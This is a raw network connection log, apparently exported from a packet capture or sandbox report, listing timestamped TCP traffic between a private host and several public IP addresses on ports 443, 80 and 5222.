Sep 30, 2024 12:21:08.953725100 CEST	50348	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.953725100 CEST	50348	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.971357107 CEST	5222	50350	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.971405029 CEST	443	50360	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.971620083 CEST	50350	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.980885029 CEST	80	50361	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.980945110 CEST	5222	50359	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.992208004 CEST	50362	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.035419941 CEST	443	50362	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.040709019 CEST	50363	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.040887117 CEST	50364	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.041527987 CEST	50365	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.055671930 CEST	80	50321	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.058037996 CEST	50321	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.060229063 CEST	50366	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.065242052 CEST	5222	50366	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.067054033 CEST	50366	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.067472935 CEST	50366	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.070383072 CEST	50367	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.070435047 CEST	443	50367	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.070517063 CEST	50367	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.072523117 CEST	50367	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.072536945 CEST	443	50367	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.073049068 CEST	5222	50366	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.074239016 CEST	50368	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.079045057 CEST	80	50368	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.080027103 CEST	443	50351	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.080162048 CEST	50351	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.080169916 CEST	443	50351	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.080182076 CEST	50368	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.080194950 CEST	50351	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.080260038 CEST	50351	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.080457926 CEST	50368	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.083445072 CEST	443	50364	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.085226059 CEST	80	50368	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.085304976 CEST	50368	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.088766098 CEST	80	50365	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.088795900 CEST	5222	50363	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.090172052 CEST	80	50368	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.106635094 CEST	5222	50355	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.107151985 CEST	50355	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.118606091 CEST	443	50353	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.118756056 CEST	443	50353	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.118813992 CEST	50353	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.118813992 CEST	50353	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.118968964 CEST	50353	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.123601913 CEST	50369	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.123696089 CEST	443	50369	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.123807907 CEST	50369	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.126760006 CEST	50369	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.126815081 CEST	443	50369	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.168636084 CEST	443	50354	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.168759108 CEST	443	50354	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.168831110 CEST	50354	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.168900013 CEST	50354	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.168900013 CEST	50354	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.197690964 CEST	50366	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.197875977 CEST	50367	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.199086905 CEST	50368	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.203366995 CEST	50370	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.208199978 CEST	5222	50370	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.208297968 CEST	50370	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.208962917 CEST	5222	50359	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.209022999 CEST	50359	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.218827963 CEST	50370	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.223675013 CEST	5222	50370	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.227097988 CEST	50371	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.227144003 CEST	443	50371	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.227209091 CEST	50371	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.230535984 CEST	50369	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.243405104 CEST	443	50367	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.244801998 CEST	80	50368	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.244816065 CEST	5222	50366	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.271406889 CEST	443	50369	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.277329922 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.278079987 CEST	443	50360	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.278167009 CEST	50360	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.278207064 CEST	50360	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.286780119 CEST	50358	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.323239088 CEST	5222	50363	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.323479891 CEST	50363	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.324253082 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.332806110 CEST	80	50358	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.333790064 CEST	80	50328	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.333865881 CEST	50328	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.341506004 CEST	443	50362	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.341638088 CEST	443	50362	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.341798067 CEST	50362	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.341799021 CEST	50362	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.341799021 CEST	50362	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.372883081 CEST	50370	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.373723984 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.374732971 CEST	50371	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.374732971 CEST	50371	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.374758959 CEST	443	50371	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.378555059 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.378736019 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.379802942 CEST	80	50331	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.379863977 CEST	50331	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.392482042 CEST	443	50364	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.392617941 CEST	443	50364	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.392730951 CEST	50364	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.392730951 CEST	50364	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.392730951 CEST	50364	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.419398069 CEST	443	50371	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.420768023 CEST	5222	50370	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.445760965 CEST	5222	50366	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.445817947 CEST	50366	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.476351976 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.481206894 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.483923912 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.491084099 CEST	80	50335	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.491149902 CEST	50335	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.494560003 CEST	50372	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.494592905 CEST	443	50372	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.494671106 CEST	50372	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.495837927 CEST	50372	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.495850086 CEST	443	50372	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.497020006 CEST	50373	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.497061014 CEST	443	50373	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.497133017 CEST	50373	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.498203993 CEST	50373	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.498214006 CEST	443	50373	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.503114939 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.504477024 CEST	50374	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.505625010 CEST	50375	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.509270906 CEST	5222	50374	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.509336948 CEST	50374	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.509671926 CEST	50374	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.510421038 CEST	80	50375	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.510489941 CEST	50375	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.510668993 CEST	50375	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.514452934 CEST	5222	50374	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.515440941 CEST	80	50375	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.515500069 CEST	50375	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.520385981 CEST	80	50375	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.531708002 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531727076 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531735897 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531789064 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.531802893 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531815052 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531826019 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531836987 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531843901 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.531878948 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531878948 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.531892061 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531909943 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531919956 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.531922102 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.531949997 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.532586098 CEST	50372	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.532905102 CEST	443	50367	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.533009052 CEST	50367	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.533010006 CEST	50367	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.550699949 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.550714970 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.550762892 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.571572065 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.571583986 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.571638107 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.575414896 CEST	443	50372	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.586639881 CEST	5222	50370	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.586709023 CEST	50370	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.588496923 CEST	50374	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.588699102 CEST	50375	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.589312077 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.589356899 CEST	50373	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.591676950 CEST	50376	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.591784954 CEST	443	50369	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.591857910 CEST	50369	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.591887951 CEST	50369	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.592494011 CEST	50377	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.592525005 CEST	443	50377	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.592586040 CEST	50377	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.593866110 CEST	50377	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.593878031 CEST	443	50377	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.594263077 CEST	50378	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.598086119 CEST	5222	50376	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.598157883 CEST	50376	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.598403931 CEST	50376	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.600147009 CEST	80	50338	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.600202084 CEST	50338	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.600581884 CEST	80	50378	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.600631952 CEST	50378	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.600791931 CEST	50378	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.603197098 CEST	5222	50376	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.605504036 CEST	80	50378	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.605562925 CEST	50378	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.610325098 CEST	80	50378	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.617985964 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.618146896 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.618180037 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.618191957 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.618199110 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.618204117 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.618227005 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.618256092 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.619616985 CEST	50379	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.620646000 CEST	50380	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.624365091 CEST	5222	50379	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.624433994 CEST	50379	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.624648094 CEST	50379	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.625514030 CEST	80	50380	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.625572920 CEST	50380	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.625700951 CEST	50380	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.629395962 CEST	5222	50379	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.630448103 CEST	80	50380	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.630501032 CEST	50380	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.635381937 CEST	80	50380	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.635395050 CEST	443	50373	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.636775970 CEST	80	50375	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.636785984 CEST	5222	50374	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.652570963 CEST	50381	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.652601957 CEST	443	50381	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.652673960 CEST	50381	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.653755903 CEST	50381	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.653764009 CEST	443	50381	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.699153900 CEST	50376	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.699245930 CEST	50377	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.699893951 CEST	50378	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.701702118 CEST	50382	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.703943968 CEST	50383	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.704046965 CEST	443	50383	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.704154015 CEST	50383	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.706989050 CEST	5222	50382	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.707075119 CEST	50382	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.710314989 CEST	50382	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.710726023 CEST	50383	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.710757971 CEST	443	50383	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.711086035 CEST	50384	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.715084076 CEST	5222	50382	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.715859890 CEST	80	50384	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.715933084 CEST	50384	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.716124058 CEST	50384	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.721153975 CEST	80	50384	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.721213102 CEST	50384	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.725975037 CEST	80	50384	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.729285002 CEST	80	50342	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.729474068 CEST	50342	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.743396997 CEST	443	50377	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.747220039 CEST	50381	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.748783112 CEST	80	50378	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.748792887 CEST	5222	50376	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.791398048 CEST	443	50381	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.794631958 CEST	50382	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.795018911 CEST	50384	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.795150042 CEST	50383	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.798233032 CEST	50385	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.798340082 CEST	50386	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.798382044 CEST	443	50386	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.798446894 CEST	50386	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.799518108 CEST	50387	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.799906015 CEST	50386	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.799917936 CEST	443	50386	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.803077936 CEST	5222	50385	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.803159952 CEST	50385	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.803401947 CEST	50385	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.804414034 CEST	80	50387	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.804471016 CEST	50387	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.804611921 CEST	50387	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.808209896 CEST	5222	50385	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.809386969 CEST	80	50387	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.809434891 CEST	50387	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.814304113 CEST	80	50387	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.820014954 CEST	80	50345	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.820080996 CEST	50345	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:09.831255913 CEST	443	50371	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.831378937 CEST	443	50371	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.831413031 CEST	50371	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.831413031 CEST	50371	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.831579924 CEST	50371	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.839399099 CEST	443	50383	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.844726086 CEST	80	50384	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.844741106 CEST	5222	50382	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.859267950 CEST	50388	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.859316111 CEST	443	50388	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.859400034 CEST	50388	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.860627890 CEST	50388	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.860642910 CEST	443	50388	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.886425018 CEST	5222	50374	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:09.886526108 CEST	50374	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:09.904123068 CEST	50385	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.904306889 CEST	50387	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:09.904839993 CEST	50386	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.906719923 CEST	50389	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.907233000 CEST	50390	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.907264948 CEST	443	50390	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.907407999 CEST	50390	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.907879114 CEST	50391	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.908555984 CEST	50390	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.908570051 CEST	443	50390	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.912143946 CEST	5222	50389	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.912204981 CEST	50389	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.912412882 CEST	50389	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.913256884 CEST	80	50391	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.913316011 CEST	50391	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.913470984 CEST	50391	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.917709112 CEST	5222	50389	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.918771029 CEST	80	50391	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.918828964 CEST	50391	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:09.923942089 CEST	80	50391	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:09.927655935 CEST	80	50349	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:09.927714109 CEST	50349	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:09.951410055 CEST	443	50386	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.960963964 CEST	80	50387	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.960982084 CEST	5222	50385	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:09.964618921 CEST	443	50373	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.964735985 CEST	50373	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.964747906 CEST	443	50373	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:09.964850903 CEST	50373	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.964850903 CEST	50373	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:09.965409040 CEST	443	50372	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:09.965472937 CEST	50372	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.965491056 CEST	50372	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.968565941 CEST	50388	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:09.972155094 CEST	5222	50376	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:09.972215891 CEST	50376	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.015152931 CEST	50389	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.015330076 CEST	50391	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.015396118 CEST	443	50388	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.015734911 CEST	50390	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.017636061 CEST	50392	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.017803907 CEST	50393	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.017851114 CEST	443	50393	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.017926931 CEST	50393	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.018852949 CEST	50394	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.019143105 CEST	50393	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.019159079 CEST	443	50393	172.65.251.78	192.168.2.5
